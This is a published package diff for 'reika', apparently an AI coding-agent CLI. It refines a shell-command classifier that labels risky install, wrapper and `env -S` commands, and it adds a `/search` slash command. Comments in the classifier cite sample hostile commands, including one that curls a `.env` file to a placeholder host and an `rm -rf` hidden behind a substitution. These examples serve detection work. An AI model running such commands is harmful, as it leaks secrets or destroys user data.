@alexwkleung/reika 0.6.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,7 +9,7 @@ import { execFileSync } from 'node:child_process';
9
9
  import { existsSync } from 'node:fs';
10
10
  import { homedir } from 'node:os';
11
11
  import { dirname, join, resolve } from 'node:path';
12
- import { WORD_RE, maskQuoted, maskShellData, splitSegments, words } from './_readonly.js';
12
+ import { WORD_RE, dequote, maskQuoted, maskShellData, splitSegments, words } from './_readonly.js';
13
13
  import { scanHeredocs, stripHeredocs } from './_heredoc.js';
14
14
  import { maskMarkdownData } from './_markdown.js';
15
15
  // Workflow-policy commands: not destructive (a commit is local and reversible, a push is
@@ -161,21 +161,25 @@ const PACKAGE_PATTERNS = [
161
161
  // earlier one (`GENERIC_PACKAGE_RE` ends in `install`, so a `""` run backtracks catastrophically).
162
162
  // `words()` is a lexer, so it costs one linear scan.
163
163
  const GENERIC_PACKAGE_RE = /^(?:\S+\s+){1,3}?(?:-{1,2}[\w-]+\s+)*(un)?install(?![\w./-])/;
164
- // Where `words()` first read this segment differently from the shell, or -1. A quote it cannot close
165
- // is dropped, not failed, so the only characters a word list cannot consume are the quotes
166
- // themselves. The position matters, not just the fact: a dropped quote only explains a verb the
167
- // whitespace reading finds AFTER it, and an apostrophe in a trailing comment (`mv "old install" new
168
- // # it's fine`) must not license a verb read out of the closed quote before it.
169
- function firstDroppedQuote(segment) {
164
+ function lexSegment(segment) {
165
+ const list = [];
166
+ let dropped = -1;
170
167
  let at = 0;
171
168
  for (const m of segment.matchAll(WORD_RE)) {
172
- const gap = segment.slice(at, m.index).search(/["']/);
173
- if (gap >= 0)
174
- return at + gap;
169
+ if (dropped < 0) {
170
+ const gap = segment.slice(at, m.index).search(/["']/);
171
+ if (gap >= 0)
172
+ dropped = at + gap;
173
+ }
174
+ list.push(dequote(m[0]));
175
175
  at = m.index + m[0].length;
176
176
  }
177
- const gap = segment.slice(at).search(/["']/);
178
- return gap >= 0 ? at + gap : -1;
177
+ if (dropped < 0) {
178
+ const gap = segment.slice(at).search(/["']/);
179
+ if (gap >= 0)
180
+ dropped = at + gap;
181
+ }
182
+ return { words: list, dropped };
179
183
  }
180
184
  // A flag token: the gap between the leading words and the verb.
181
185
  const GENERIC_FLAG_RE = /^-{1,2}[\w-]+$/;
@@ -204,6 +208,42 @@ const READ_ONLY_LEAD_RE = /^(?:e?grep|fgrep|rg|ag|ack|find|man|which|type|wherei
204
208
  // release from a cluster, and a misleading label is its own bug: the warning text is what the
205
209
  // user reads to decide.
206
210
  const SELF_COVERED_LEAD_RE = /^(?:helm|kubectl|oc|docker|podman|terraform|tofu|pulumi)\b/;
211
+ const INSTALL_LABEL = 'Install command (fetches and runs third-party code)';
212
+ const UNINSTALL_LABEL = 'Uninstall command (removes third-party code)';
213
+ // Coreutils `install` COPIES files into place and fetches nothing (#794). It still prompts — an
214
+ // install into `/etc` under sudo is exactly what the gate is for — but with a label that is true.
215
+ const FILE_INSTALL_LABEL = 'File install (copies into place)';
216
+ // What makes a verb coreutils `install` is where the word sits, not which flags or how many operands
217
+ // follow it (#794): for coreutils the word IS the command (`install -m 644 a b`, `/usr/bin/install …`,
218
+ // `sudo install …`), and for `make install` / `conda install x` / `bundle install` it is an ARGUMENT
219
+ // to the command that does the installing. A flag set would have to guess — `make -C x install -j4`
220
+ // and `conda install -m 644 numpy` carry coreutils-looking flags too — and a path-operand count would
221
+ // call `conda install numpy src` a file copy. `quoted` is the segment after its assignments and
222
+ // wrappers are stripped, so its first word is the command the shell runs.
223
+ //
224
+ // A FRAGMENT is excluded because its first word is not a command word at all: `echo "$(date) install
225
+ // later"` is cut at `install`, which is a word of the same quoted argument (#794).
226
+ function isFileInstall(read, lexed) {
227
+ if (read.fragment)
228
+ return false;
229
+ const first = lexed.words[0] ?? '';
230
+ return first.slice(first.lastIndexOf('/') + 1) === 'install';
231
+ }
232
+ function segmentReads(segments) {
233
+ const reads = [];
234
+ for (const { text, fragment } of segments) {
235
+ const raw = text.trim();
236
+ if (!raw)
237
+ continue;
238
+ reads.push({
239
+ raw,
240
+ quoted: stripVerbPrefix(raw),
241
+ spaced: raw.replace(VERB_PREFIX_WS_RE, ''),
242
+ fragment,
243
+ });
244
+ }
245
+ return reads;
246
+ }
207
247
  // Reads `verbSegments`' segments, so the two per-segment readers agree on what a segment is (#749).
208
248
  //
209
249
  // The lead is tested after the verb prefix is stripped, not on the raw segment (#757): what a
@@ -217,28 +257,45 @@ const SELF_COVERED_LEAD_RE = /^(?:helm|kubectl|oc|docker|podman|terraform|tofu|p
217
257
  // verb inside the budget (`env A=1 sudo time conda install numpy`) and can also move one out of it
218
258
  // (`sudo install -m 644 x /etc/x` has its verb at word 1, and word 0 is past this reader by design).
219
259
  // Both readings, unioned — the same rule that keeps a label at least as wide as it was.
220
- function genericPackageLabel(segments) {
221
- for (const segment of segments.map(s => s.trim())) {
222
- if (!segment)
260
+ function genericPackageLabel(reads) {
261
+ let fileInstall = false;
262
+ for (const read of reads) {
263
+ if (!read.quoted ||
264
+ READ_ONLY_LEAD_RE.test(read.quoted) ||
265
+ SELF_COVERED_LEAD_RE.test(read.quoted)) {
223
266
  continue;
224
- const stripped = stripVerbPrefix(segment);
225
- if (!stripped || READ_ONLY_LEAD_RE.test(stripped) || SELF_COVERED_LEAD_RE.test(stripped)) {
267
+ }
268
+ const stripped = lexSegment(read.quoted);
269
+ // Decided per segment, so a file copy in one segment cannot relabel a real install in another
270
+ // (`make install && install -m 644 a b` is an Install, #843 review). The raw reading of this
271
+ // segment is skipped with it: `sudo install …` has its `install` at word 1 there.
272
+ if (isFileInstall(read, stripped)) {
273
+ fileInstall = true;
226
274
  continue;
227
275
  }
228
- for (const seg of stripped === segment ? [segment] : [segment, stripped]) {
229
- const word = genericVerbWord(words(seg));
276
+ // A FRAGMENT names no verb of its own: its words belong to the command around the substitution,
277
+ // which the outer reading already reads whole. Read here, `A="$(date) x" install -m 644 a b`
278
+ // counted `x"` as a leading word and called the file copy a package install.
279
+ if (read.fragment)
280
+ continue;
281
+ for (const { seg, lex } of read.quoted === read.raw
282
+ ? [{ seg: read.raw, lex: stripped }]
283
+ : [
284
+ { seg: read.raw, lex: lexSegment(read.raw) },
285
+ { seg: read.quoted, lex: stripped },
286
+ ]) {
287
+ const word = genericVerbWord(lex.words);
230
288
  // The whitespace reading only where `words()` split a quote it could not close, and only for a
231
289
  // verb that quote comes before — see above.
232
- const dropped = firstDroppedQuote(seg);
233
- const ws = dropped >= 0 ? GENERIC_PACKAGE_RE.exec(seg) : null;
234
- const m = ws && dropped < ws[0].length ? ws : undefined;
290
+ const ws = lex.dropped >= 0 ? GENERIC_PACKAGE_RE.exec(seg) : null;
291
+ const m = ws && lex.dropped < ws[0].length ? ws : undefined;
235
292
  if (word === 'uninstall' || m?.[1])
236
- return 'Uninstall command (removes third-party code)';
293
+ return UNINSTALL_LABEL;
237
294
  if (word === 'install' || m)
238
- return 'Install command (fetches and runs third-party code)';
295
+ return INSTALL_LABEL;
239
296
  }
240
297
  }
241
- return undefined;
298
+ return fileInstall ? FILE_INSTALL_LABEL : undefined;
242
299
  }
243
300
  // Cluster and container CLIs get the OPPOSITE polarity from the install patterns above, and the
244
301
  // reason is the risk asymmetry. Read verbs are a small closed set; mutating verbs are a long open
@@ -697,16 +754,57 @@ const WORD_GAP_RE = /\s+/y;
697
754
  const ENV_ASSIGN_WORD_RE = /^[A-Za-z_]\w*=/;
698
755
  // A wrapper's own options sit between it and the command it runs (`sudo -u me grep …`, `env -i …`,
699
756
  // `time -p …`); left in place, the option became the lead and the command behind it read as an
700
- // argument (#757 review). These are the options that consume the next word as their value.
757
+ // argument (#757 review). These are the options that consume the next word as their value, in their
758
+ // SHORT spellings; the long ones are `WRAPPER_LONG_VALUE_OPTIONS` below and the bundled ones are
759
+ // `wrapperOptionValue`'s last clause (#794). Both lists are closed on purpose: an option nobody
760
+ // enumerated costs a label, which is the direction this file errs in.
701
761
  const WRAPPER_VALUE_OPTIONS = {
702
762
  sudo: new Set(['-u', '-g', '-U', '-C', '-D', '-h', '-p', '-r', '-t', '-T', '-R']),
703
- env: new Set(['-u', '-C']),
763
+ env: new Set(['-u', '-C', '-S', '-P']),
704
764
  exec: new Set(['-a']),
705
765
  time: new Set(['-o', '-f']),
706
766
  };
767
+ // The same options spelled out: `sudo --user me curl …` and `env --chdir /x make install` hid the
768
+ // command behind them exactly as the short spellings did (#794).
769
+ const WRAPPER_LONG_VALUE_OPTIONS = {
770
+ sudo: new Set([
771
+ '--user',
772
+ '--group',
773
+ '--other-user',
774
+ '--close-from',
775
+ '--chdir',
776
+ '--host',
777
+ '--prompt',
778
+ '--role',
779
+ '--type',
780
+ '--command-timeout',
781
+ ]),
782
+ env: new Set(['--unset', '--chdir', '--split-string', '--path']),
783
+ exec: new Set(['--argv0']),
784
+ time: new Set(['--output', '--format']),
785
+ };
707
786
  const WRAPPER_WORDS = new Set(['sudo', 'command', 'nohup', 'exec', 'env', 'time']);
708
787
  // `command -v x` looks `x` up and runs nothing, so it has no verb at all.
709
788
  const COMMAND_LOOKUP_RE = /^-[a-zA-Z]*[vV]/;
789
+ // Whether a wrapper option consumes the NEXT word as its value. `word` has already been read as an
790
+ // option. A long spelling carrying `=` (`--user=me`) keeps its value attached and eats nothing.
791
+ function wrapperOptionValue(wrapper, word) {
792
+ if (WRAPPER_VALUE_OPTIONS[wrapper]?.has(word))
793
+ return true;
794
+ if (WRAPPER_LONG_VALUE_OPTIONS[wrapper]?.has(word))
795
+ return true;
796
+ // A BUNDLED short spelling (`sudo -iu me`, `env -iu PATH …`) follows getopt: the letters are read
797
+ // left to right, and the FIRST one that takes a value takes the rest of the bundle as that value
798
+ // (`-ume` is `-u me`, `-of x` is `-o f`) unless it is the bundle's LAST letter, in which case the
799
+ // value is the next word (`-iu me` is `-i -u me`). Anything else is a flag that eats nothing.
800
+ if (!/^-[a-zA-Z]+$/.test(word))
801
+ return false;
802
+ for (let i = 1; i < word.length; i++) {
803
+ if (WRAPPER_VALUE_OPTIONS[wrapper]?.has(`-${word[i]}`))
804
+ return i === word.length - 1;
805
+ }
806
+ return false;
807
+ }
710
808
  function stripVerbPrefix(segment) {
711
809
  let at = 0;
712
810
  let wrapper;
@@ -736,7 +834,7 @@ function stripVerbPrefix(segment) {
736
834
  if (word === '--')
737
835
  wrapper = undefined;
738
836
  else
739
- takesValue = WRAPPER_VALUE_OPTIONS[wrapper]?.has(word) ?? false;
837
+ takesValue = wrapperOptionValue(wrapper, word);
740
838
  }
741
839
  else if (WRAPPER_WORDS.has(word)) {
742
840
  wrapper = word;
@@ -867,8 +965,14 @@ function verbData(command) {
867
965
  const syntax = maskShellData(command);
868
966
  const masked = maskQuoted(command);
869
967
  const scan = scanHeredocs(command);
870
- if (scan.uncertain || shellOutsideBodies(command, scan.heredocs))
871
- return { syntax, pasted: [] };
968
+ if (scan.uncertain)
969
+ return { syntax, pasted: [], substitutions: [] };
970
+ // A shell anywhere in the command keeps every body in the scan, but the substitution spans are
971
+ // still the lexer's own: without them `FOO="$(date) a b c" make install && bash x.sh` lost the
972
+ // outer reading for naming a shell (#843 review).
973
+ if (shellOutsideBodies(command, scan.heredocs)) {
974
+ return { syntax, pasted: [], substitutions: scan.substitutions };
975
+ }
872
976
  const pasted = [];
873
977
  for (const h of scan.heredocs) {
874
978
  if (!h.literal)
@@ -898,23 +1002,38 @@ function verbData(command) {
898
1002
  continue;
899
1003
  pasted.push([h.bodyStart - 1, h.bodyEnd]);
900
1004
  }
901
- return { syntax, pasted };
1005
+ return { syntax, pasted, substitutions: scan.substitutions };
902
1006
  }
903
- // A separator the mask blanked is not found at all, so the segment it sits in runs on to the next
904
- // real one: cutting there and dropping the rest hid `FOO="a;b" make install` (#749).
905
- function verbSegments(command, pasteBodies) {
906
- const { syntax, pasted: found } = verbData(command);
907
- const pasted = pasteBodies ? found : [];
908
- // The shell deletes a line continuation, so the readers see it as the space it leaves; an escaped
909
- // backslash before a newline is not one, and the mask is what tells them apart.
910
- const text = command.replace(/\\\n/g, (m, at) => syntax[at] === ' ' && syntax[at + 1] === ' ' ? ' ' : m);
1007
+ // The command with each of `ranges` blanked, length-preserving so it still indexes the same way as
1008
+ // the masks built from the same text. Blanked to a placeholder WORD rather than to spaces, because a
1009
+ // substitution is a word of the command and can be its command word: blanked to spaces,
1010
+ // `$(which conda) install numpy` read as coreutils `install` (#843 review). Sorted by start, which is
1011
+ // what makes a NESTED range harmless: the lexer records a substitution when it CLOSES, so an inner one
1012
+ // is listed before the `$(…)` around it, and blanking the outer first covers the inner already.
1013
+ function blankRanges(text, ranges) {
1014
+ let out = '';
1015
+ let at = 0;
1016
+ for (const r of [...ranges].sort((a, b) => a.start - b.start)) {
1017
+ if (r.start < at)
1018
+ continue;
1019
+ out += `${text.slice(at, r.start)}${'_'.repeat(r.end - r.start)}`;
1020
+ at = r.end;
1021
+ }
1022
+ return out + text.slice(at);
1023
+ }
1024
+ // One pass of the separator walk: `text` cut at every separator `view` finds outside a pasted heredoc
1025
+ // body. Split out because `verbSegments` runs it over two views of one command (#794).
1026
+ function splitAt(text, view, pasted, substitutions) {
911
1027
  const segments = [];
1028
+ // Where each substitution CLOSED, so the fragment test is a lookup rather than a scan of the spans
1029
+ // for every segment — a long script is one command, and both lists can be thousands long.
1030
+ const closes = new Set(substitutions.map(s => s.end));
912
1031
  let start = 0;
913
1032
  let keep = true;
914
1033
  VERB_SEPARATOR_RE.lastIndex = 0;
915
- for (let m = VERB_SEPARATOR_RE.exec(syntax); m; m = VERB_SEPARATOR_RE.exec(syntax)) {
1034
+ for (let m = VERB_SEPARATOR_RE.exec(view); m; m = VERB_SEPARATOR_RE.exec(view)) {
916
1035
  if (keep)
917
- segments.push(text.slice(start, m.index));
1036
+ segments.push({ text: text.slice(start, m.index), fragment: closes.has(start) });
918
1037
  start = m.index + m[0].length;
919
1038
  // A separator inside a pasted body ends nothing the shell runs, so the text it closes is not a
920
1039
  // segment of its own — and `keep` goes false, which is what holds the body's own lines out of
@@ -928,19 +1047,43 @@ function verbSegments(command, pasteBodies) {
928
1047
  keep = !pasted.some(([from, to]) => m.index + m[0].length > from && m.index + m[0].length <= to);
929
1048
  }
930
1049
  if (keep)
931
- segments.push(text.slice(start));
1050
+ segments.push({ text: text.slice(start), fragment: closes.has(start) });
932
1051
  return segments;
933
1052
  }
934
- function verbLabels(segments) {
1053
+ // A separator the mask blanked is not found at all, so the segment it sits in runs on to the next
1054
+ // real one: cutting there and dropping the rest hid `FOO="a;b" make install` (#749).
1055
+ //
1056
+ // Splitting at a substitution is right for the question INSIDE it — `$(curl …)` runs — but it takes
1057
+ // the head of the command the substitution sits in, so `FOO="$(date) a b c" make install` leaves the
1058
+ // tail `a b c" make install` reading as five leading words and an install nobody sees (#794). The
1059
+ // outer reading is therefore run as well, over the same command with each substitution blanked: to
1060
+ // the shell that value is one assignment word, and everything after it is that command's verb
1061
+ // position. Blanking rather than deleting keeps the indices, and a substitution's own quotes and
1062
+ // separators go with it, so the outer text is if anything more balanced than the command was. Both
1063
+ // readings are reported — one shell line can be both (`docker run "$(cat img)" rm -rf /x`), and a
1064
+ // label the split dropped is what this adds back.
1065
+ //
1066
+ // The outer pass marks nothing a fragment: its segments are cut from text whose substitutions are
1067
+ // gone, so every boundary it finds is a separator the shell sees.
1068
+ function verbSegments(command, pasteBodies) {
1069
+ const { syntax, pasted: found, substitutions } = verbData(command);
1070
+ const pasted = pasteBodies ? found : [];
1071
+ // The shell deletes a line continuation, so the readers see it as the space it leaves; an escaped
1072
+ // backslash before a newline is not one, and the mask is what tells them apart.
1073
+ const text = command.replace(/\\\n/g, (m, at) => syntax[at] === ' ' && syntax[at + 1] === ' ' ? ' ' : m);
1074
+ const inner = splitAt(text, syntax, pasted, substitutions);
1075
+ if (substitutions.length === 0)
1076
+ return inner;
1077
+ const outer = blankRanges(text, substitutions);
1078
+ return [...inner, ...splitAt(outer, maskShellData(outer), pasted, [])];
1079
+ }
1080
+ function verbLabels(reads) {
935
1081
  const hits = [];
936
- for (const segment of segments) {
937
- const trimmed = segment.trim();
1082
+ for (const read of reads) {
938
1083
  // Both prefix readings, unioned — see `VERB_PREFIX_WS_RE` above. They agree on any segment
939
1084
  // without a quoted value holding a space, which is nearly all of them, so the second pass only
940
1085
  // runs when they differ.
941
- const quoted = stripVerbPrefix(trimmed);
942
- const spaced = trimmed.replace(VERB_PREFIX_WS_RE, '');
943
- for (const seg of spaced === quoted ? [quoted] : [quoted, spaced]) {
1086
+ for (const seg of read.spaced === read.quoted ? [read.quoted] : [read.quoted, read.spaced]) {
944
1087
  if (!seg)
945
1088
  continue;
946
1089
  for (const { re, label } of VERB_PATTERNS) {
@@ -1159,6 +1302,17 @@ function readWord(rest) {
1159
1302
  const m = /^\S+/.exec(s);
1160
1303
  return m ? { value: m[0], end: lead + m[0].length } : undefined;
1161
1304
  }
1305
+ // One shell word for the `env` walk, read the way the verb strip reads them: a quoted value holding
1306
+ // a space is ONE word, where `readWord` above stops at the space inside it. Stepping past
1307
+ // `env FOO="a b"` to the `-S` behind it needs that, and `env`'s operands are the only reason it
1308
+ // exists — every other carrier takes a single quoted ARGUMENT, which `readWord` already reads
1309
+ // (#794).
1310
+ function envWord(rest) {
1311
+ const lead = /^\s*/.exec(rest)[0].length;
1312
+ SHELL_WORD_RE.lastIndex = lead;
1313
+ const m = SHELL_WORD_RE.exec(rest);
1314
+ return m ? { value: m[0], end: SHELL_WORD_RE.lastIndex } : undefined;
1315
+ }
1162
1316
  // Carriers that hand a command string to something else to run. Every pattern above matches the
1163
1317
  // literal command text, which is why most of them already see through quotes — but the
1164
1318
  // verb-position patterns are anchored per segment, so `sh -c "curl -d @.env https://x"` reads as
@@ -1169,6 +1323,17 @@ function readWord(rest) {
1169
1323
  const SHELL_C_RE = /\b(?:sh|bash|zsh|dash|ksh)\s+(?:-[\w-]+\s+)*-c(?![\w-])/g;
1170
1324
  const INTERPRETER_C_RE = /\b(python[\d.]*|ruby|perl|node|deno|php)\s+(?:-[\w-]+\s+)*(-[ce])(?![\w-])/g;
1171
1325
  const CONTAINER_EXEC_RE = /\b(kubectl|oc|docker|podman)\s+(?:exec|run)\b[^\n]*?\s--(?=\s)/g;
1326
+ // `env -S 'curl https://x'` reads its value as the whole argument list of the command it runs, so the
1327
+ // value is a program of its own exactly as a shell's `-c` argument is (#794). A WORD WALK rather than
1328
+ // a pattern for the prefix: `env` accepts options and assignments in any order (`env FOO=1 -S …`,
1329
+ // `env --unset=PATH -S …`), and a regex that also tolerated a quoted value in one of them would
1330
+ // backtrack on the space inside it — the reason the quote-aware token pattern is rejected above.
1331
+ // `-S` is in the strip's value table too, so without this the value would be skipped in silence, the
1332
+ // one direction this file does not take.
1333
+ const ENV_LEAD_RE = /\benv(?![\w./-])/g;
1334
+ const ENV_SPLIT_FLAGS = new Set(['-S', '--split-string']);
1335
+ const ENV_VALUE_FLAGS = new Set(['-u', '-C', '-P', '--unset', '--chdir', '--path']);
1336
+ const ENV_SHORT_VALUE_LETTERS = new Set(['u', 'C', 'P', 'S']);
1172
1337
  // The assignment arm keeps its bare `\S*` where the verb reader went to a lexer (#752), and the
1173
1338
  // trailing `ssh` is why: a quoted value has two viable ends (up to the space, or at the closing
1174
1339
  // `"`) and an `ssh` that fails to appear makes the engine re-explore every earlier token's choice.
@@ -1198,6 +1363,66 @@ function nestedBodies(command) {
1198
1363
  for (const m of command.matchAll(CONTAINER_EXEC_RE)) {
1199
1364
  push(`${m[1]} exec`, command.slice(m.index + m[0].length), false);
1200
1365
  }
1366
+ // A walk rather than one `readWord`, because `env` takes its options and its `VAR=value` operands
1367
+ // in any order. The words come off `SHELL_WORD_RE` — the strip's own reader — so a quoted value
1368
+ // holding a space (`env FOO="a b" -S …`) is one word and the `-S` behind it is reachable.
1369
+ for (const m of command.matchAll(ENV_LEAD_RE)) {
1370
+ let rest = command.slice(m.index + m[0].length);
1371
+ for (;;) {
1372
+ const w = envWord(rest);
1373
+ if (!w)
1374
+ break;
1375
+ const raw = rest.slice(0, w.end);
1376
+ rest = rest.slice(w.end);
1377
+ const word = dequote(w.value);
1378
+ if (ENV_SPLIT_FLAGS.has(word)) {
1379
+ const body = readWord(rest);
1380
+ if (body)
1381
+ push('env -S', body.value, false);
1382
+ break;
1383
+ }
1384
+ const attached = '--split-string=';
1385
+ if (word.startsWith(attached)) {
1386
+ // The value is read off the RAW word after the `=`, since `word` has it dequoted and
1387
+ // `readWord` knows how to unwrap the quotes it may still be wearing.
1388
+ const body = readWord(raw.slice(raw.indexOf('=') + 1));
1389
+ if (body)
1390
+ push('env -S', body.value, false);
1391
+ break;
1392
+ }
1393
+ // Anything `env` runs a command with has to be an option or a `VAR=value`; the first other
1394
+ // word is that command, and it is not a split string.
1395
+ if (!word.startsWith('-') && !ENV_ASSIGN_WORD_RE.test(word))
1396
+ break;
1397
+ // A short bundle, read as getopt reads it (see `wrapperOptionValue`): the first value-taking
1398
+ // letter takes the rest of the word, or the next word when it is last. `-iS "curl …"` and
1399
+ // `-S'curl …'` are both a split string, and skipping them would hide the command (#843 review).
1400
+ const bundle = /^-[a-zA-Z]/.test(w.value) && !w.value.startsWith('--') ? w.value : '';
1401
+ const at = [...bundle].findIndex((c, i) => i > 0 && ENV_SHORT_VALUE_LETTERS.has(c));
1402
+ if (at > 0) {
1403
+ const attachedValue = at < bundle.length - 1;
1404
+ if (bundle[at] === 'S') {
1405
+ const body = attachedValue ? readWord(bundle.slice(at + 1)) : readWord(rest);
1406
+ if (body)
1407
+ push('env -S', body.value, false);
1408
+ break;
1409
+ }
1410
+ if (!attachedValue) {
1411
+ const arg = envWord(rest);
1412
+ if (!arg)
1413
+ break;
1414
+ rest = rest.slice(arg.end);
1415
+ }
1416
+ continue;
1417
+ }
1418
+ if (ENV_VALUE_FLAGS.has(word)) {
1419
+ const arg = envWord(rest);
1420
+ if (!arg)
1421
+ break;
1422
+ rest = rest.slice(arg.end);
1423
+ }
1424
+ }
1425
+ }
1201
1426
  // `ssh [flags] host <command…>`: skip the flags and their arguments, skip the host, and the
1202
1427
  // rest is what runs on the far side — quoted as one word or spelled out as several.
1203
1428
  for (const m of command.matchAll(SSH_LEAD_RE)) {
@@ -1357,9 +1582,11 @@ function detectAtDepth(rawCommand, depth, cwd) {
1357
1582
  }
1358
1583
  // A shell's `-c` program pastes nothing: a heredoc there can be a `$(cat <<'EOF' …)` whose
1359
1584
  // output IS the program, and the shell that runs it was named one level up, out of sight here.
1360
- const segments = verbSegments(command, depth === 0);
1585
+ // The two per-segment readers below want the same strips, and each one is a walk, so they are read
1586
+ // once here and handed to both (#794).
1587
+ const reads = segmentReads(verbSegments(command, depth === 0));
1361
1588
  for (const label of [
1362
- ...verbLabels(segments),
1589
+ ...verbLabels(reads),
1363
1590
  remoteExecLabel(command, cwd),
1364
1591
  checkoutPathLabel(command, cwd),
1365
1592
  ]) {
@@ -1370,7 +1597,7 @@ function detectAtDepth(rawCommand, depth, cwd) {
1370
1597
  // reports one precise label instead of two overlapping ones. Every install/uninstall label
1371
1598
  // above contains the word, which is what makes this cheap test sufficient.
1372
1599
  if (!hits.some(h => /install/i.test(h))) {
1373
- const generic = genericPackageLabel(segments);
1600
+ const generic = genericPackageLabel(reads);
1374
1601
  if (generic)
1375
1602
  hits.push(generic);
1376
1603
  }
package/dist/ui/App.js CHANGED
@@ -30,6 +30,7 @@ import {} from '../agent/loop.js';
30
30
  import { compactThreshold } from '../agent/compaction.js';
31
31
  import { createPrefixWarmer } from '../agent/warm.js';
32
32
  import { execStream } from '../tools/bash.js';
33
+ import { isOffline } from '../tools/_net.js';
33
34
  import { expandMentions } from '../agent/mentions.js';
34
35
  import { attachImageBlocks, NATIVE_IMAGE_NOTE, readNativeAttachments, nextImageMarker, } from '../agent/attachments.js';
35
36
  import { expandPastedUrls, planPastedUrls } from '../agent/pastedurls.js';
@@ -45,7 +46,7 @@ import { mcpStartupLine } from './format.js';
45
46
  import { ResumeSelect } from './ResumeSelect.js';
46
47
  import { countRealTurns, forAutosave, listSessions, loadSession, modelHistoryFromScrollback, newSessionPath, projectHistoryDir, ROOT_HISTORY_DIR, writeSession, } from '../store/sessions.js';
47
48
  import { buildModelTargets } from './models.js';
48
- import { buildImplementPrompt, IMPLEMENT_MODES, isImplementCommand, isMinimalPrompt, isGrindPrompt, isSaveCommand, nextMode, turnMode, turnPromptMode, turnRefines, turnTools, } from './commands.js';
49
+ import { buildImplementPrompt, buildSearchPrompt, IMPLEMENT_MODES, isImplementCommand, isMinimalPrompt, isGrindPrompt, isSaveCommand, nextMode, searchModeRefusal, searchUnavailableNotice, turnMode, turnPromptMode, turnRefines, turnTools, } from './commands.js';
49
50
  import { acceptSuggestion, computeSuggestions } from './suggest.js';
50
51
  import { buildSummary, hasActivity } from './summary.js';
51
52
  import { QueuedList } from './QueuedList.js';
@@ -1410,6 +1411,36 @@ export function App() {
1410
1411
  undefined, mode === 'vibe' ? 'agent' : undefined, undefined, true);
1411
1412
  return;
1412
1413
  }
1414
+ if (name === 'search') {
1415
+ // `/search <query>` (#829): the direct road to the search tool. A mode's own prompt says to
1416
+ // use `search` only when the answer needs current information, which leaves the decision to
1417
+ // the model; this makes it the user's. Availability is read off the session's own tool lists
1418
+ // rather than re-derived from config, so it agrees with the offline case too — that one is
1419
+ // decided once at startup (`opts.offline` in tools/index.ts) and never revisited.
1420
+ const query = args.trim();
1421
+ const say = (content) => setMessages(prev => [...prev, echo, { role: 'system', content }]);
1422
+ if (!query) {
1423
+ say('Usage: /search <query> — the model runs one web search and answers from the results.');
1424
+ return;
1425
+ }
1426
+ const refusal = searchModeRefusal(mode);
1427
+ if (refusal) {
1428
+ say(refusal);
1429
+ return;
1430
+ }
1431
+ // Vibe plans before it acts, and a search is a question, not a task: it runs as an agent turn,
1432
+ // the same one-turn override /implement and /compact take out of vibe.
1433
+ const target = mode === 'vibe' ? 'agent' : mode;
1434
+ const lists = sessionRef.current?.lists;
1435
+ if (!lists || !turnTools(target, lists).some(t => t.name === 'search')) {
1436
+ say(searchUnavailableNotice(isOffline()));
1437
+ return;
1438
+ }
1439
+ // No echo of its own, like a skill: runTurn emits the user message, rendered from `raw`, so
1440
+ // the bubble reads `/search react 19` while the model receives the instructions.
1441
+ await submitToModel(buildSearchPrompt(query), raw, target === mode ? undefined : target);
1442
+ return;
1443
+ }
1413
1444
  if (name === 'cd') {
1414
1445
  const target = args.trim();
1415
1446
  if (!target) {
@@ -1546,6 +1577,7 @@ export function App() {
1546
1577
  ' /skills list available skills (loaded from your skill directories)',
1547
1578
  ' /mcp list MCP servers and their tools (REIKA_MCP_SERVERS)',
1548
1579
  ' /<server>:<tool> call an MCP tool directly (JSON args, or the bare string for a one-arg tool)',
1580
+ ' /search <query> search the web: the model runs one search and answers from the results',
1549
1581
  ' /exit, /quit exit reika (prints summary)',
1550
1582
  ' @<path> in agent mode, inline a file as context',
1551
1583
  ' ctrl-v paste an image; its text is read out and attached (macOS/Windows)',
@@ -111,6 +111,10 @@ export const COMMANDS = [
111
111
  name: 'mcp',
112
112
  desc: 'list MCP servers and their tools (each tool is also a /<server>:<tool> command)',
113
113
  },
114
+ {
115
+ name: 'search',
116
+ desc: 'search the web for a query (needs a search provider; the model runs it and answers from the results)',
117
+ },
114
118
  { name: 'stats', desc: 'show full session summary' },
115
119
  {
116
120
  name: 'save',
@@ -136,6 +140,48 @@ export function buildImplementPrompt(extra) {
136
140
  const trimmed = extra.trim();
137
141
  return trimmed ? `${base}\n\nAdditional guidance: ${trimmed}` : base;
138
142
  }
143
+ // The model-facing prompt for /search (#829). Written like a shipped skill's body — the command
144
+ // hands over instructions, not a bare query — because the thing it exists for is the model that
145
+ // would otherwise answer a web question from memory: `search` is in every list the mode can reach,
146
+ // and a weak model uses it only when the first line says to. The rest is the discipline the search
147
+ // and fetch budgets already price: one query, the results as given, and no answer the results do not
148
+ // support. Not a bundled skill (the other option the issue raised): a skill's `requires:` is checked
149
+ // from files alone at load time (PATH, git remote) with no config in scope, so it could not be
150
+ // hidden on a machine with no provider, nor refuse in minimal mode, whose list has no web tools at
151
+ // all — it would offer a slash command whose first call cannot run.
152
+ export function buildSearchPrompt(query) {
153
+ return [
154
+ `Search the web for: ${query.trim()}`,
155
+ '',
156
+ 'Your first action is a `search` tool call with that query. Answer from its results, not from memory.',
157
+ '',
158
+ '- Give each claim the URL the results returned, verbatim.',
159
+ '- Open the one or two most promising results with `fetch_url` before leaning on a snippet.',
160
+ '- If the results are off-topic, say so and stop — do not re-run the query in other words.',
161
+ '- If the search fails or is unavailable, say that in one line instead of answering from memory.',
162
+ ].join('\n');
163
+ }
164
+ // Why /search cannot run in this mode, or undefined when it can. Checked before the provider, since
165
+ // the fix differs: shell has no model turn to hand the query to, and minimal mode's list is bash
166
+ // only — the same structural exclusions that keep the web pair out of those two modes
167
+ // (tools/index.ts).
168
+ export function searchModeRefusal(mode) {
169
+ const elsewhere = '/agent, /plan, /chat or /grind to search.';
170
+ if (mode === 'shell')
171
+ return `/search needs a model turn, and shell mode has none — ${elsewhere}`;
172
+ if (mode === 'minimal')
173
+ return `/search needs the web tools, and minimal mode carries none — ${elsewhere}`;
174
+ return undefined;
175
+ }
176
+ // The other refusal: the mode could search, but this session registered no `search` tool. Two causes
177
+ // with two different fixes, so they are named apart — and the provider one names the switches, the
178
+ // only place the user can act (`search.ts` keeps its own remedy out of the model's context for the
179
+ // same reason).
180
+ export function searchUnavailableNotice(offline) {
181
+ return offline
182
+ ? '/search is off for this session: it started with no route out, so the web tools were not loaded (#392).'
